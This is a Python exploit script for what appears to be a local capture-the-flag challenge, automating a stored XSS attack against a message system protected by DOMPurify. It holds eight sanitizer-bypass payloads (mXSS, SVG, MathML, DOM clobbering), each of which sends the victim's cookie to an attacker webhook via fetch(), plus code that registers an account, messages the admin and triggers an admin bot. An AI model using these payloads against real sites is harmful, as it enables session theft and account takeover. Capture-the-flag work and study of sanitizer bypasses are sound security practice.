#!/usr/bin/env python3
"""
FLAG 1 - Working Proof of Concept Exploit
==========================================

This script attempts to exploit the application to retrieve Flag 1.

Vulnerability: DOM-based XSS via DOMPurify bypass in message system
Target: Admin's session cookie containing the flag

Prerequisites:
- Application running locally on ports 5000/5001
- Attacker webhook server to receive exfiltrated data
"""

import requests
import json
import time
import sys
from urllib.parse import quote, quote_plus

# Configuration
BASE_URL = "http://localhost:5000"
WEBHOOK_URL = input("Enter your webhook/ngrok URL (e.g., https://yourngrok.ngrok.io): ").strip()

if not WEBHOOK_URL:
    print("Error: Webhook URL required to receive exfiltrated cookie!")
    sys.exit(1)

class Exploit:
    def __init__(self):
        self.session = None
        self.username = f"attacker_{int(time.time())}"
        self.password = "hacktheplanet"
        
    def register(self):
        """Register a new attacker account"""
        print(f"[*] Registering as {self.username}...")
        resp = requests.post(
            f"{BASE_URL}/register",
            data={"username": self.username, "password": self.password},
            allow_redirects=False
        )
        if resp.status_code in [302, 303]:
            self.session = resp.cookies.get("session")
            print(f"[+] Registered successfully!")
            return True
        else:
            print(f"[-] Registration failed: {resp.status_code}")
            return False
    
    def send_malicious_message(self, payload_num=1):
        """Send a malicious message to admin with XSS payload"""
        
        # Collection of DOMPurify bypass attempts
        payloads = {
            1: {
                "name": "mXSS Form/Math Confusion",
                "payload": f'<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=fetch("{WEBHOOK_URL}/exfil?flag="+document.cookie)>'
            },
            2: {
                "name": "SVG Style CDATA",
                "payload": f'<svg><style><![CDATA[</style><img src=x onerror=fetch("{WEBHOOK_URL}/exfil?flag="+document.cookie)>]]></svg>'
            },
            3: {
                "name": "MathML Style Escape",
                "payload": '<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img src=x onerror=fetch(\'' + WEBHOOK_URL + '/exfil?flag=\'+document.cookie)>">'
            },
            4: {
                "name": "Nested SVG/Foreign Object",
                "payload": f'<svg><foreignObject><img src=x onerror=fetch("{WEBHOOK_URL}/exfil?flag="+document.cookie)></foreignObject></svg>'
            },
            5: {
                "name": "Simple Script (baseline test)",
                "payload": f'<script>fetch("{WEBHOOK_URL}/exfil?flag="+document.cookie)</script>'
            },
            6: {
                "name": "IMG with base64 onerror",
                "payload": '<img src=x onerror="fetch(\'' + WEBHOOK_URL + '/exfil?flag=\'+document.cookie)">'
            },
            7: {
                "name": "DOM Clobber + Template",
                "payload": f'<form id="DOMPurify"></form><form id="DOMPurify"><input name="sanitize"></form><img src=x onerror=fetch("{WEBHOOK_URL}/exfil?flag="+document.cookie)>'
            },
            8: {
                "name": "noscript mXSS",
                "payload": '<noscript><p title="</noscript><img src=x onerror=fetch(\'' + WEBHOOK_URL + '/exfil?flag=\'+document.cookie)>">'
            }
        }
        
        if payload_num not in payloads:
            print(f"[-] Invalid payload number. Choose 1-{len(payloads)}")
            return False
        
        payload_info = payloads[payload_num]
        payload = payload_info["payload"]
        
        print(f"\n[*] Sending payload #{payload_num}: {payload_info['name']}")
        print(f"[*] Payload: {payload[:100]}...")
        
        cookies = {"session": self.session}
        resp = requests.post(
            f"{BASE_URL}/compose",
            data={"to": "admin", "body": payload},
            cookies=cookies,
            allow_redirects=False
        )
        
        if resp.status_code in [303]:
            print(f"[+] Message sent successfully!")
            try:
                data = json.loads(resp.text)
                msg_id = data.get("id")
                print(f"[+] Message ID: {msg_id}")
                return msg_id
            except:
                pass
            return True
        else:
            print(f"[-] Failed to send message: {resp.status_code}")
            print(f"    Response: {resp.text[:200]}")
            return False
    
    def trigger_bot(self, target_url="http://127.0.0.1:5000/inbox"):
        """Trigger the admin bot to visit a URL"""
        print(f"\n[*] Triggering bot to visit: {target_url}")
        
        resp = requests.post(
            f"{BASE_URL}/bot",
            data={"url": target_url}
        )
        
        if resp.status_code == 200 and "Bot ran" in resp.text:
            print(f"[+] Bot executed successfully!")
            print(f"[*] Check your webhook at {WEBHOOK_URL} for the exfiltrated flag!")
            return True
        else:
            print(f"[-] Bot execution failed: {resp.status_code}")
            print(f"    Response: {resp.text[:500]}")
            return False
    
    def run_full_exploit(self, payload_num=1):
        """Run the complete exploit chain"""
        print("="*70)
        print("FLAG 1 EXPLOIT - Full Attack Chain")
        print("="*70)
        
        # Step 1: Register
        if not self.register():
            return False
        
        # Step 2: Send malicious message
        if not self.send_malicious_message(payload_num):
            return False
        
        # Step 3: Wait a moment
        print("\n[*] Waiting 2 seconds before triggering bot...")
        time.sleep(2)
        
        # Step 4: Trigger bot
        if not self.trigger_bot():
            return False
        
        print("\n" + "="*70)
        print("EXPLOIT COMPLETE!")
        print("="*70)
        print(f"\n[!] Monitor your webhook at: {WEBHOOK_URL}")
        print("[!] The flag should arrive in the 'flag' query parameter")
        print("[!] It will be base64-encoded in the JWT cookie")
        print("\n[*] To decode the JWT:")
        print("    1. Copy the session cookie value")
        print("    2. Go to https://jwt.io")
        print("    3. Paste the token and look for the 'flag' claim")
        
        return True

def main():
    print("""
    ╔═══════════════════════════════════════════════════════════════╗
    ║           FLAG 1 - EXPLOIT TOOL                               ║
    ║   Unrealistic Client-Side Challenge - DOMPurify Bypass        ║
    ╚═══════════════════════════════════════════════════════════════╝
    """)
    
    exploit = Exploit()
    
    print("\nAvailable Payload Options:")
    print("1. mXSS Form/Math Confusion")
    print("2. SVG Style CDATA")
    print("3. MathML Style Escape")
    print("4. Nested SVG/Foreign Object")
    print("5. Simple Script (baseline)")
    print("6. IMG with onerror")
    print("7. DOM Clobber + Template")
    print("8. noscript mXSS")
    print("9. Try all payloads sequentially")
    
    choice = input("\nSelect payload number (1-9): ").strip()
    
    if choice == "9":
        print("\n[*] Trying all payloads...")
        for i in range(1, 9):
            print(f"\n--- Attempt {i}/8 ---")
            exploit.run_full_exploit(i)
            time.sleep(5)
    else:
        try:
            payload_num = int(choice)
            exploit.run_full_exploit(payload_num)
        except ValueError:
            print("[-] Invalid choice!")
            return
    
    print("\n[*] Exploit attempts completed!")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Exploit interrupted by user")
    except Exception as e:
        print(f"\n[-] Error: {e}")
        import traceback
        traceback.print_exc()
